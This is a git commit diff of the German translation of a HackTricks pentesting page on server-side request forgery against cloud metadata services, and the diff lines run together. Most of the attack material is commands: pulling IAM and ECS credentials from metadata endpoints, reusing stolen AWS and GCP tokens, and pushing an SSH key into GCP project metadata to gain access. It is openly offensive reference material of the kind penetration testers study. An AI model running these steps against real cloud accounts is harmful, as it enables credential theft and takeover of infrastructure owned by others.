Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.

This commit is contained in:
Translator 2024-03-03 13:57:40 +00:00
parent c209da5b11
commit 28d6fb7e34

View file

@ -6,7 +6,7 @@
Andere Möglichkeiten, HackTricks zu unterstützen: Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -28,7 +28,7 @@ Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben könn
**Das Metadaten**-Endpunkt kann von innerhalb jeder EC2-Maschine aus zugegriffen werden und bietet interessante Informationen darüber. Er ist unter der URL zugänglich: `http://169.254.169.254` ([Informationen zu den Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). **Das Metadaten**-Endpunkt kann von innerhalb jeder EC2-Maschine aus zugegriffen werden und bietet interessante Informationen darüber. Er ist unter der URL zugänglich: `http://169.254.169.254` ([Informationen zu den Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** ermöglicht den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF es ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token anfordern**, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann diesen Token verwenden, um auf die Metadaten mit einem anderen HTTP-Header zuzugreifen (daher ist es **komplizierter, es mit einem SSRF auszunutzen**). Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** ermöglicht den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so dass jede **SSRF es ausnutzen kann**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token anfordern**, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann diesen Token verwenden, um auf die Metadaten mit einem anderen HTTP-Header zuzugreifen (daher ist es **komplizierter, es mit einem SSRF auszunutzen**).
{% hint style="danger" %} {% hint style="danger" %}
Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**gemäß den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** eine **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen. Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**gemäß den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** eine **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
@ -96,13 +96,13 @@ echo ""
echo "EC2 Security Credentials" echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
``` ```
Als Beispiel für **öffentliche IAM-Anmeldeinformationen**, die freigelegt sind, können Sie besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Als Beispiel für **öffentliche IAM-Anmeldeinformationen**, die freigelegt sind, können Sie folgende Website besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** unter folgendem Link überprüfen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Sie können dann **diese Anmeldeinformationen mit der AWS CLI verwenden**. Dadurch können Sie **alles tun, wozu diese Rolle berechtigt ist**. Sie können dann **diese Anmeldeinformationen mit der AWS CLI verwenden**. Dadurch können Sie **alles tun, wozu diese Rolle berechtigt ist**.
Um von den neuen Anmeldeinformationen zu profitieren, müssen Sie ein neues AWS-Profil erstellen, wie dieses: Um von den neuen Anmeldeinformationen zu profitieren, müssen Sie ein neues AWS-Profil erstellen, ähnlich wie dieses:
``` ```
[profilename] [profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
@ -111,14 +111,14 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
``` ```
Beachten Sie das **aws\_session\_token**, das für das Profil unerlässlich ist. Beachten Sie das **aws\_session\_token**, das für das Profil unerlässlich ist.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) kann mit den entdeckten Anmeldeinformationen verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, Berechtigungen zu eskalieren. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) kann mit den entdeckten Anmeldedaten verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, Berechtigungen zu eskalieren.
### SSRF in AWS ECS (Container Service) Anmeldeinformationen ### SSRF in AWS ECS (Container Service) Anmeldeinformationen
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Cluster-Verwaltungsinfrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, den Dienst, der in **ECS** ausgeführt wird, zu kompromittieren, ändern sich die **Metadaten-Endpunkte**. **ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Cluster-Management-Infrastruktur skalieren zu müssen, da ECS dies für Sie verwaltet. Wenn es Ihnen gelingt, den Dienst, der in **ECS** ausgeführt wird, zu kompromittieren, ändern sich die **Metadaten-Endpunkte**.
Wenn Sie auf _**http://169.254.170.2/v2/credentials/\<GUID>**_ zugreifen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **den \<GUID> finden**. Um den \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\ Wenn Sie auf _**http://169.254.170.2/v2/credentials/\<GUID>**_ zugreifen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **den \<GUID> finden**. Um den \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\
Sie könnten in der Lage sein, sie auszulesen, indem Sie einen **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\ Sie könnten in der Lage sein, sie auszulesen, indem Sie einen **Pfad-Traversal** zu `file:///proc/self/environ` ausnutzen.\
Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben. Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben.
```bash ```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
@ -164,7 +164,7 @@ Sie können [**hier die Dokumentation zu Metadaten-Endpunkten finden**](https://
### SSRF-URL für Google Cloud <a href="#id-6440" id="id-6440"></a> ### SSRF-URL für Google Cloud <a href="#id-6440" id="id-6440"></a>
Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf die Metadaten-Endpunkte mit den folgenden URLs zugreifen: Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf den Metadaten-Endpunkt mit den folgenden URLs zugreifen:
* http://169.254.169.254 * http://169.254.169.254
* http://metadata.google.internal * http://metadata.google.internal
@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Um den **extrahierten Dienstkontotoken zu verwenden**, können Sie einfach Folgendes tun: Um das **extrahierte Dienstkonto-Token zu verwenden**, können Sie einfach Folgendes tun:
```bash ```bash
# Via env vars # Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -285,7 +285,7 @@ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXX
"access_type": "offline" "access_type": "offline"
} }
``` ```
Jetzt den SSH-Schlüssel hochladen. Jetzt schieben Sie den SSH-Schlüssel.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -296,7 +296,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
``` ```
{% endcode %} {% endcode %}
## Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a> ### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
Der Metadaten-Endpunkt funktioniert genauso wie bei VMs, jedoch ohne einige Endpunkte: Der Metadaten-Endpunkt funktioniert genauso wie bei VMs, jedoch ohne einige Endpunkte:
```bash ```bash
@ -343,7 +343,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
``` ```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Finde die wichtigsten Sicherheitslücken, damit du sie schneller beheben kannst. Intruder verfolgt deine Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in deinem gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probiere es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks). Finde die wichtigsten Sicherheitslücken, damit du sie schneller beheben kannst. Intruder verfolgt deine Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in deinem gesamten Technologiestack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probiere es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -400,12 +400,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text
``` ```
{% endtab %}
{% endtabs %}
### Azure App Service ### Azure App Service
Aus der **env** können Sie die Werte von `IDENTITY_HEADER` _und_ `IDENTITY_ENDPOINT` erhalten. Diese können Sie verwenden, um ein Token zum Sprechen mit dem Metadatenserver zu sammeln. Aus der **env** können Sie die Werte von `IDENTITY_HEADER` und `IDENTITY_ENDPOINT` erhalten. Diese können Sie verwenden, um ein Token zum Sprechen mit dem Metadatenserver zu erhalten.
Meistens benötigen Sie ein Token für eine dieser Ressourcen: Meistens benötigen Sie ein Token für eine dieser Ressourcen:
@ -484,7 +481,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a> ## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %} {% hint style="warning" %}
Beachten Sie, dass in IBM standardmäßig Metadaten deaktiviert sind. Es ist also möglich, dass Sie auch dann nicht darauf zugreifen können, wenn Sie sich innerhalb einer IBM Cloud-VM befinden. Beachten Sie, dass in IBM standardmäßig Metadaten deaktiviert sind. Es ist daher möglich, dass Sie auch dann nicht darauf zugreifen können, wenn Sie sich innerhalb einer IBM Cloud-VM befinden.
{% endhint %} {% endhint %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -542,7 +539,7 @@ Oracle Cloud bietet eine Reihe von Endpunkten für den Zugriff auf verschiedene
## Alibaba ## Alibaba
Alibaba bietet Endpunkte zum Abrufen von Metadaten, einschließlich Instanz- und Bild-IDs: Alibaba bietet Endpunkte für den Zugriff auf Metadaten, einschließlich Instanz- und Bild-IDs:
* `http://100.100.100.200/latest/meta-data/` * `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id` * `http://100.100.100.200/latest/meta-data/instance-id`
@ -559,7 +556,7 @@ Kubernetes ETCD kann API-Schlüssel, interne IP-Adressen und Ports speichern. De
Docker-Metadaten können lokal abgerufen werden, wobei Beispiele für die Abfrage von Container- und Bildinformationen gegeben werden: Docker-Metadaten können lokal abgerufen werden, wobei Beispiele für die Abfrage von Container- und Bildinformationen gegeben werden:
* Einfaches Beispiel zum Abrufen von Container- und Bildmetadaten über den Docker-Socket: * Einfaches Beispiel zum Abrufen von Metadaten zu Containern und Bildern über den Docker-Socket:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` * `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* Innerhalb des Containers verwenden Sie curl mit dem Docker-Socket: * Innerhalb des Containers verwenden Sie curl mit dem Docker-Socket:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json` * `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
@ -573,7 +570,7 @@ Die Metadaten von Rancher können über folgende URL abgerufen werden:
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder überwacht Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in Ihrem gesamten Technologiestapel, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks). Finden Sie die wichtigsten Schwachstellen, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch, findet Probleme in Ihrem gesamten Technologiestapel, von APIs über Webanwendungen bis hin zu Cloud-Systemen. [**Probieren Sie es heute kostenlos aus**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -587,6 +584,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen. * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details> </details>